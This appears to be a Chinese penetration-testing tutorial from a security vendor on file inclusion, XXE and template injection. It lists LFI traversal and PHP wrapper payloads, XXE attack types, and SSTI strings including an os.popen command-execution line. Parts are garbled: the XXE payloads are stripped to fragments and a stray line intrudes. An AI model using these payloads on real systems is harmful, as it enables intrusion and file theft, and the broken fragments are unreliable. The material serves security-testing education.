windows⽂件读取xxe_渗透测试⽂件包含漏洞检测
昨天给⼤家普及到了渗透测试中执⾏命令漏洞的检测⽅法,今天抽出时间由我们的渗透⼯程师来讲下遇到⽂件包含漏洞以及模板注⼊漏洞的检测⽅法和防御⼿段,本⽂仅参考给有授权渗透测试的正规安全检测的客户,让更多的客户了解到具体测试的内容,是如何进⾏全⾯的⽹站安全测试。
3.8. ⽂件包含
3.8.1. 基础
常见的⽂件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>
考虑常⽤的⼏种包含⽅式为
同⽬录包含 file=.htaccess
⽬录遍历 ?file=../../../../../../../../../var/lib/locate.db
⽇志注⼊ ?file=../../../../../../../../../var/log/apache/error.log
利⽤ /proc/self/environ
其中⽇志可以使⽤SSH⽇志或者Web⽇志等多种⽇志来源测试
3.8.2. 绕过技巧
常见的应⽤在⽂件包含之前,可能会调⽤函数对其进⾏判断,⼀般有如下⼏种绕过⽅式
3.8.2.1. url编码绕过
如果WAF中是字符串匹配,可以使⽤url多次编码的⽅式可以绕过
3.8.2.2. 特殊字符绕过
某些情况下,读⽂件⽀持使⽤Shell通配符,如 ? * 等
url中 使⽤ ? # 可能会影响include包含的结果
某些情况下,unicode编码不同但是字形相近的字符有同⼀个效果
3.8.2.3. %00截断
⼏乎是最常⽤的⽅法,条件是magic_quotes_gpc打开,⽽且php版本⼩于5.3.4。
3.8.2.
4. 长度截断
Windows上的⽂件名长度和⽂件路径有关。具体关系为:从根⽬录计算,⽂件路径长度最长为259个bytes。
msdn定义“`#define MAX_PATH 260“`,第260个字符为字符串结尾的“`0“`
linux可以⽤getconf来判断⽂件名长度限制和⽂件路径长度限制
获取最长⽂件路径长度:getconf PATH_MAX /root 得到4096 获取最长⽂件名:getconf NAME_MAX /root 得到255
那么在长度有限的时候,`././././` (n个) 的形式就可以通过这个把路径爆掉
在php代码包含中,这种绕过⽅式要求php版本 < php 5.2.8
3.8.2.5. 伪协议绕过
远程包含: 要求 allow_url_fopen=On and allow_url_include=On , payload为 ?file=[http|https|ftp]://域名/
PHP INPUT: 把payload放在POST参数中作为包含的⽂件,要求 allow_url_include=On ,payload为 ?file=php://input
: 使⽤伪协议读取⽂件,payload为 ?file=php://filter/convert.-encode/resource=index.php
DATA: 使⽤data伪协议读取⽂件,payload为 ?file=data://text/plain;,SSBsb3ZlIFBIUAo= 要求 allow_url_include=On
3.9. XXE
3.9.1. XML基础
XML 指可扩展标记语⾔(eXtensible Markup Language),是⼀种⽤于标记电⼦⽂件使其具有结构性的标记语⾔,被设计⽤来传输和存储数据。XML⽂档结构包括XML声明、DTD⽂档类型定义(可选)、⽂档元素。⽬前,XML⽂件作为配置⽂件(Spring、Struts2等)、⽂档结构说明⽂件(PDF、RSS等)、图⽚格式⽂件(SVG header)应⽤⽐较⼴泛。
3.9.2. XXE
当允许引⽤外部实体时,可通过构造恶意的XML内容,导致读取任意⽂件、执⾏系统命令、探测内⽹端⼝、攻击内⽹⽹站等后果。⼀般的XXE攻击,只有在服务器有回显或者报错的基础上才能使⽤XXE漏洞来读取服务器端⽂件,但是也可以通过Blind XXE的⽅式实现攻击。
3.9.3. 攻击⽅式
3.9.3.1. 拒绝服务攻击
]>
&a2;
若解析过程⾮常缓慢,则表⽰测试成功,⽬标站点可能有拒绝服务漏洞。具体攻击可使⽤更多层的迭代或递归,也可引⽤巨⼤的外部实体,以实现攻击的效果。
3.9.3.2. ⽂件读取
]>
&file;
3.9.3.3. SSRF
]>
4
3.9.3.
4. RCE
]>
&xxe;
3.9.3.5. XInclude
3.10 模板注⼊漏洞
3.10. 模版注⼊
3.10.1. 简介
模板引擎⽤于使⽤动态数据呈现内容。此上下⽂数据通常由⽤户控制并由模板进⾏格式化,以⽣成⽹页、电⼦邮件等。模板引擎通过使⽤代码构造(如条件语句、循环等)处理上下⽂数据,允许在模板中使⽤强⼤的语⾔表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注⼊可暴露上下⽂数据,甚⾄在服务器上运⾏任意命令的表达式。
3.10.2. 测试⽅法
确定使⽤的引擎
查看引擎相关的⽂档,确定其安全机制以及⾃带的函数和变量
需攻击⾯,尝试攻击
3.10.3. 测试⽤例
简单的数学表达式,{{ 7+7 }} => 14
字符串表达式 {{ "ajin" }} => ajin
Ruby
Java
${7*7}
Twig
{{7*7}}
Smarty
{php}echo `id`;{/php}
AngularJS
$eval('1+1')
Tornado
引⽤模块 {% import module %}
=> {% import os %}{{ os.popen("whoami").read() }}
ssh工具windows
Flask/Jinja2
{{ config.items() }}
{{''.__class__.__mro__[-1].__subclasses__()}}
Django
{{ request }}
{% debug %}
{% load module %}
{% include "x.html" %}
{% extends "x.html" %}
3.10.
4. ⽬标
创建对象
⽂件读写
远程⽂件包含
信息泄漏 提权
3.10.5. 相关属性
3.10.5.1. __class__
python中的新式类(即显⽰继承object对象的类)都有⼀个属性 __class__ ⽤于获取当前实例对应的类,例如 "".__class__ 就可以获取到字符串实例对应的类
3.10.5.2. __mro__
python中类对象的 __mro__ 属性会返回⼀个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻的顺序。
3.10.5.3. __globals__
保存了函数所有的所有全局变量,在利⽤中,可以使⽤ __init__ 获取对象的函数,并通过 __globals__ 获取 file os 等模块以进⾏下⼀步的利⽤
3.10.5.
4. __subclasses__()
python的新式类都保留了它所有的⼦类的引⽤,__subclasses__() 这个⽅法返回了类的所有存活的⼦类的引⽤(是类对象引⽤,不是实例)。
因为python中的类都是继承object的,所以只要调⽤object类对象的 __subclasses__() ⽅法就可以获取想要的类的对象。这⼀节渗透测试讲到的这些内容和绕过⼿法,如果对⾃⼰⽹站不太放⼼的话可以专业的⽹站安全公司来处理解决。